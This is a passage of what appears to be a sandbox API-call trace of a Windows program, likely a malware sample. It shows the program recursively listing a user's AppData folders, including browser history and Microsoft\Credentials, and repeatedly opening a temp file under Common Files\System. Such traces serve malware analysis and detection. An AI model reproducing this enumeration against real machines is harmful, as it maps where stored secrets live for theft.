ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.933] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.933] GetLastError () returned 0x12 [0130.933] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.933] GetLastError () returned 0x12 [0130.933] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.933] GetLastError () returned 0x12 [0130.933] AreFileApisANSI () returned 1 [0130.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.933] GetFileType (hFile=0x184) returned 0x1 [0130.933] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.934] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.934] GetLastError () returned 0x12 [0130.934] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0130.934] GetLastError () returned 0x12 [0130.934] AreFileApisANSI () returned 1 [0130.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0130.934] GetFileType (hFile=0x180) returned 0x1 [0130.934] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0130.935] AreFileApisANSI () returned 1 [0130.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.935] GetFileType (hFile=0x184) returned 0x1 [0130.935] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.937] AreFileApisANSI () returned 1 [0130.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.937] GetFileType (hFile=0x188) returned 0x1 [0130.937] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa413c7b0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.938] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.938] GetLastError () returned 0x12 [0130.938] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.938] GetLastError () returned 0x12 [0130.938] AreFileApisANSI () returned 1 [0130.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.938] GetFileType (hFile=0x184) returned 0x1 [0130.939] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8, dwReserved1=0x834ed0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.939] AreFileApisANSI () returned 1 [0130.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.939] GetFileType (hFile=0x188) returned 0x1 [0130.939] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.939] AreFileApisANSI () returned 1 [0130.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.940] GetFileType (hFile=0x18c) returned 0x1 [0130.940] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.940] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0130.940] GetLastError () returned 0x12 [0130.940] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.940] GetLastError () returned 0x12 [0130.940] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.940] GetLastError () returned 0x12 [0130.940] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0130.940] GetLastError () returned 0x12 [0130.940] AreFileApisANSI () returned 1 [0130.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0130.941] GetFileType (hFile=0x180) returned 0x1 [0130.941] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x889898, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0130.941] AreFileApisANSI () returned 1 [0130.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.941] GetFileType (hFile=0x184) returned 0x1 [0130.941] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.942] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.942] GetLastError () returned 0x12 [0130.942] AreFileApisANSI () returned 1 [0130.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.942] GetFileType (hFile=0x184) returned 0x1 [0130.942] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.942] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0130.942] GetLastError () returned 0x12 [0130.942] AreFileApisANSI () returned 1 [0130.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0130.942] GetFileType (hFile=0x184) returned 0x1 [0130.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0130.943] AreFileApisANSI () returned 1 [0130.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.943] GetFileType (hFile=0x188) returned 0x1 [0130.943] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.944] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0130.945] GetLastError () returned 0x12 [0130.945] AreFileApisANSI () returned 1 [0130.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0130.945] GetFileType (hFile=0x188) returned 0x1 [0130.945] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0130.945] AreFileApisANSI () returned 1 [0130.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0130.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0130.945] GetFileType (hFile=0x18c) returned 0x1 [0130.946] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0130.946] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0131.684] GetLastError () returned 0x12 [0131.685] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.685] GetLastError () returned 0x12 [0131.685] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0131.685] GetLastError () returned 0x12 [0131.685] AreFileApisANSI () returned 1 [0131.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0131.685] GetFileType (hFile=0x184) returned 0x1 [0131.685] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0131.686] AreFileApisANSI () returned 1 [0131.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.686] GetFileType (hFile=0x188) returned 0x1 [0131.686] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.686] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.687] GetLastError () returned 0x12 [0131.687] AreFileApisANSI () returned 1 [0131.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.687] GetFileType (hFile=0x188) returned 0x1 [0131.687] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.687] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.687] GetLastError () returned 0x12 [0131.687] AreFileApisANSI () returned 1 [0131.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0131.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0131.688] GetFileType (hFile=0x188) returned 0x1 [0131.688] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0131.688] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0131.688] GetLastError () returned 0x12 [0131.688] AreFileApisANSI () returned 1 [0131.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 